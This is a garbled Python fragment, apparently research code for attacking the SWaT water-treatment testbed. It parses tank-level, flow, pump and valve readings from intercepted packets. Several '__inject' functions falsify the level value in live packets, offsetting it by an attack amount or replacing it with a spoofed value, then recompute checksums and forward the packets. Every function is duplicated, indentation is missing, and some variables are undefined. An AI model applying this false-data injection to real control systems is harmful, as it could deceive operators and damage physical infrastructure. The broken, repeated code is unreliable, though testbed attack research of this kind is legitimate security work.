def get_model_parameters(packet):
if SWAT_P1_RIO_AI in packet:
global _rlevel, _flow
l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level)
l = current_to_signal(l.value, P1Level)
f = ctypes.c_short(packet[SWAT_P1_RIO_AI].flow)
_flow = current_to_signal(f.value, P1Flow)
_rlevel = l * 0.001
if SWAT_P1_RIO_DI in packet:
global _pump1_in, _pump
_valve = packet[SWAT_P1_RIO_DI].valve_open
_pump = packet[SWAT_P1_RIO_DI].pump1_run
def get_model_parameters(packet):
if SWAT_P1_RIO_AI in packet:
global _rlevel, _flow
l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level)
l = current_to_signal(l.value, P1Level)
f = ctypes.c_short(packet[SWAT_P1_RIO_AI].flow)
_flow = current_to_signal(f.value, P1Flow)
_rlevel = l * 0.001
if SWAT_P1_RIO_DI in packet:
global _pump1_in, _pump
_valve = packet[SWAT_P1_RIO_DI].valve_open
_pump = packet[SWAT_P1_RIO_DI].pump1_run
def read_real_level(packet):
if SWAT_P1_RIO_AI in packet:
l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level).value
slevel = ctypes.c_short(packet[SWAT_P1_RIO_AI].level)
l = current_to_signal(slevel.value, P1Level)
global _olevel, _elevel, _is_first_pck
_olevel = l * 0.001
if _is_first_pck:
_elevel = _olevel
_is_first_pck = False
def read_real_level(packet):
if SWAT_P1_RIO_AI in packet:
l = ctypes.c_short(packet[SWAT_P1_RIO_AI].level).value
slevel = ctypes.c_short(packet[SWAT_P1_RIO_AI].level)
l = current_to_signal(slevel.value, P1Level)
global _olevel, _elevel, _is_first_pck
_olevel = l * 0.001
if _is_first_pck:
_elevel = _olevel
_is_first_pck = False
def __inject(packet):
pkt = IP(packet.get_payload())
if SWAT_P1_RIO_AI in pkt:
slevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level)
slevel += max_attack if slope_sign else -max_attack
level = signal_to_current(slevel, P1Level)
pkt[SWAT_P1_RIO_AI].level = level
del pkt[UDP].chksum # Need to recompute checksum
packet.set_payload(str(pkt))
packet.accept()
def __inject(packet):
pkt = IP(packet.get_payload())
if SWAT_P1_RIO_AI in pkt:
slevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level)
slevel += max_attack if slope_sign else -max_attack
level = signal_to_current(slevel, P1Level)
pkt[SWAT_P1_RIO_AI].level = level
del pkt[UDP].chksum # Need to recompute checksum
packet.set_payload(str(pkt))
packet.accept()
def params():
state = 'Open' if _valve_in else 'Close'
value = 1 if _valve_in else 0
print('Valve state: {} ({})'.format(state, value))
state = 'Open' if _valve_out else 'Close'
value = 1 if _valve_out else 0
print('Valve control: {} ({})'.format(state, value))
state = 'On' if _pump1_in else 'Off'
value = 1 if _pump1_in else 0
print('Pump1 state: {} ({})'.format(state, value))
state = 'On' if _pump1_out else 'Off'
value = 1 if _pump1_out else 0
print('Pump1 control: {} ({})'.format(state, value))
state = 'Open' if _pump2_in else 'Off'
value = 1 if _pump2_in else 0
print('Pump2 state: {} ({})'.format(state, value))
state = 'On' if _pump2_out else 'Off'
value = 1 if _pump2_out else 0
print('Pump2 control: {} ({})'.format(state, value))
sflow = current_to_signal(_flow_in, P1Flow)
print('Flow: {} m^2/h ({})'.format(sflow, _flow_in))
slevel = current_to_signal(_level_in, P1Level)
print('Level: {} mm ({})'.format(slevel, _level_in))
def __inject(packet):
pkt = IP(packet.get_payload())
if SWAT_P1_RIO_AI in pkt:
global _elevel, _alevel, _is_first_pck
if _is_first_pck:
_elevel = _alevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) / 1000
thread.start()
_is_first_pck = False
alevel = signal_to_current(_alevel * 1000, P1Level)
pkt[SWAT_P1_RIO_AI].level = alevel
del pkt[UDP].chksum # Need to recompute checksum
packet.set_payload(str(pkt))
packet.accept()
def __inject(packet):
pkt = IP(packet.get_payload())
if SWAT_P1_RIO_AI in pkt:
global _elevel, _alevel, _is_first_pck
if _is_first_pck:
_elevel = _alevel = current_to_signal(pkt[SWAT_P1_RIO_AI].level, P1Level) / 1000
thread.start()
_is_first_pck = False
alevel = signal_to_current(_alevel * 1000, P1Level)
pkt[SWAT_P1_RIO_AI].level = alevel
del pkt[UDP].chksum # Need to recompute checksum
packet.set_payload(str(pkt))
packet.accept()
